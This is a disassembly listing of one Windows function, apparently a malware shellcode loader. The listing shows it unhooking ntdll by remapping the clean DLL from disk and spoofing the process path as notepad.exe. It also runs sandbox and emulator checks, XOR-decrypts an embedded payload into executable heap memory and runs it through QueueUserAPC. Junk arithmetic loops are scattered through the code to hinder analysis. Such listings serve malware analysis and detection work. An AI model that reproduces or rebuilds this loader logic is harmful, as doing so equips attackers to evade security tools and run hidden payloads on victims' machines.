Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x878
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x820], ecx
mov qword [rbp + 0x828], rdx
call fcn.140002770
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x778], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e8], rax
cmp qword [rbp + 0x7e8], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e8], rax
cmp qword [rbp + 0x7e8], 0
je 0x140001992
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x768]
mov r10, qword [rbp + 0x7e8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x75c], 0
mov ecx, 0x8b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x7e4], 0
jmp 0x140001626
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7e0], eax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x22c
jle 0x1400015aa
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x7dc], 0xffffffff
add dword [rbp + 0x7dc], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0xe7
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003970
movq rax, xmm0
mov qword [rbp + 0x728], rax
cmp dword [rbp + 0x7dc], 0x102
jle 0x140001711
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov qword [rbp + 0x720], rax
mov word [rbp + 0x7da], 0
jmp 0x14000197a
mov rax, qword [rbp + 0x720]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x720]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7da]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001969
mov dword [rbp + 0x7d4], 0xffffffff
mov ecx, 0xfb8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x710], rax
add dword [rbp + 0x7d4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x710]
add rax, rdx
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x710]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x710]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7d4], 0x1f5
jle 0x1400017ff
mov dword [rbp + 0x5a8], 0
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x738]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5a8]
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x760]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7da]
add eax, 1
mov word [rbp + 0x7da], ax
mov rax, qword [rbp + 0x720]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7da], ax
jb 0x14000178a
mov ecx, 0xac0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x7cc], 0
mov dword [rbp + 0x704], 0
mov dword [rbp + 0x7d0], 0
jmp 0x140001a0f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x708]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x2af
jle 0x1400019c3
mov dword [rbp + 0x7d0], 0
jmp 0x140001a50
mov eax, dword [rbp + 0x7d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7cc], eax
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x2af
jle 0x140001a27
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5ac], 0
mov rax, qword [rbp + 0x778]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5b8]
add rax, 0x3c
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x7c8], 0
jmp 0x140001b3f
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003760
movq rax, xmm0
mov qword [rbp + 0x600], rax
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x391
jle 0x140001afc
mov rax, qword [rbp + 0x6f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
jne 0x1400026a1
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
je 0x1400026a1
mov rax, qword [rbp + 0x6d8]
mov edx, 0x41b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6d4], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov ecx, 0x30d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x2db
jbe 0x1400026a1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
call rax
mov dword [rbp + 0x6b4], eax
mov ecx, 0x2fb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6b8]
call rax
mov dword [rbp + 0x6b0], eax
mov eax, dword [rbp + 0x6b0]
sub eax, dword [rbp + 0x6b4]
cmp eax, 0x2c9
jbe 0x1400026a1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x140001d4c
mov rax, qword [rbp + 0x6a8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov ecx, 0
call rax
mov dword [rbp + 0x7c4], eax
cmp dword [rbp + 0x7c4], 0xffffffff
je 0x1400026a1
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x1400026a1
mov rax, qword [rbp + 0x698]
mov edx, 0x5a5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x694], eax
mov ecx, 0x5c8
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5c8
jne 0x1400026a1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.ktqtxptztznm.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
jne 0x1400026a1
mov qword [rbp + 0x7b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
je 0x140001e95
mov rax, qword [rbp + 0x680]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x678]
mov r9d, 0x3000
mov r8d, 0x473
mov edx, 0
call rax
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
je 0x1400026a1
mov ecx, 0x49e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x49e
jne 0x1400026a1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0x70]
lea rdx, [0x140006138]
mov ecx, 0xa5
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x770]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7b4], 0xffffffff
mov ecx, 0x1de8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
add dword [rbp + 0x7b4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x660]
add rax, rdx
movsd xmm1, qword [0x140006670]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7b4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x660]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7b4], 0x3bb
jle 0x140001f73
mov rax, qword [rbp + 0x670]
mov r8d, 0
mov edx, 0x52e
mov ecx, 0x40000
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x668]
mov r8d, 0x52e
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x778]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov ecx, 0x4f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x7b0], 0
jmp 0x1400020ed
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x13c
jle 0x1400020a0
mov dword [rbp + 0x7b0], 0
jmp 0x140002205
mov dword [rbp + 0x60c], 0
jmp 0x1400021e7
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x60c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400021e0
mov eax, dword [rbp + 0x60c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x608], eax
mov eax, dword [rbp + 0x7b0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rbp + 0x60c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x60c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x608]
mov dword [rdx], eax
add dword [rbp + 0x7b0], 1
mov eax, 0x13c
sub eax, dword [rbp + 0x7b0]
cmp dword [rbp + 0x60c], eax
jl 0x140002117
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x13c
jle 0x140002108
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x52e
mov rcx, rax
call r9
mov dword [rbp + 0x7ac], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x7a0], xmm0
add dword [rbp + 0x7ac], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7ac]
movsd xmm0, qword [0x140006670]
addsd xmm0, xmm1
mov rax, qword [0x140006678]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b40
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7ac]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006670]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x7a0]
addsd xmm0, xmm1
movsd qword [rbp + 0x7a0], xmm0
cmp dword [rbp + 0x7ac], 0x1a4
jle 0x140002258
movsd xmm1, qword [rbp + 0x7a0]
movsd xmm0, qword [0x140006680]
mulsd xmm0, xmm1
movsd qword [rbp + 0x7a0], xmm0
mov dword [rbp + 0x79c], 0
mov dword [rbp + 0x798], 0
mov dword [rbp + 0x794], 0
movabs rax, 0xb95895fa610103ac
movabs rdx, 0x26ae0f515fec379f
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x99b105b5301c5542
movabs rdx, 0xd2ded69a4352145c
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xe0273eda3ae51246
movabs rdx, 0x367189a939cfffd9
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x8f22db361563382a
movabs rdx, 0xe18b077da79880e1
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x72e18b077da79880
movabs rdx, 0x2cfc8a2984ffa8
mov qword [rbp + 0x59], rax
mov qword [rbp + 0x61], rdx
movabs rax, 0x237b9419de8f152e
movabs rdx, 0x4be487a6cbc9d985
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x82e52f5607d5cee0
movabs rdx, 0xf4053521c672b849
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov dword [rbp + 0x10], 0x79d52d
jmp 0x140002430
mov eax, dword [rbp + 0x79c]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x798]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x79c]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x798], 0x47
jne 0x140002422
mov dword [rbp + 0x798], 0
jmp 0x140002429
add dword [rbp + 0x798], 1
add dword [rbp + 0x79c], 1
mov eax, dword [rbp + 0x79c]
cmp eax, 0x22
jbe 0x1400023e5
mov dword [rbp + 0x79c], 0
jmp 0x140002502
mov eax, dword [rbp + 0x79c]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x794]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x79c]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x794], 0x22
jne 0x14000249d
mov dword [rbp + 0x794], 0
jmp 0x1400024fb
mov dword [rbp + 0x790], 0xffffffff
add dword [rbp + 0x790], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2ad
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003970
movq rax, xmm0
mov qword [rbp + 0x610], rax
cmp dword [rbp + 0x790], 0x2c0
jle 0x1400024a7
add dword [rbp + 0x794], 1
add dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x52d
jle 0x14000244a
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x634], 1
mov ecx, 0x5a4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov qword [rbp + 0x788], 2
jmp 0x14000256f
mov rax, qword [rbp + 0x788]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x788], 1
cmp qword [rbp + 0x788], 0x168
jbe 0x140002548
mov qword [rbp + 0x788], 2
jmp 0x140002606
mov rax, qword [rbp + 0x788]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400025fe
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x780], rax
jmp 0x1400025e7
mov rax, qword [rbp + 0x788]
imul rax, qword [rbp + 0x780]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x780], 1
mov rax, qword [rbp + 0x788]
imul rax, qword [rbp + 0x780]
cmp rax, 0x168
jbe 0x1400025b8
add qword [rbp + 0x788], 1
cmp qword [rbp + 0x788], 0x168
jbe 0x140002589
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x638]
mov r9, qword [rbp + 0x620]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x618]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x878
pop rbx
pop rsi
pop rdi
pop rbp
ret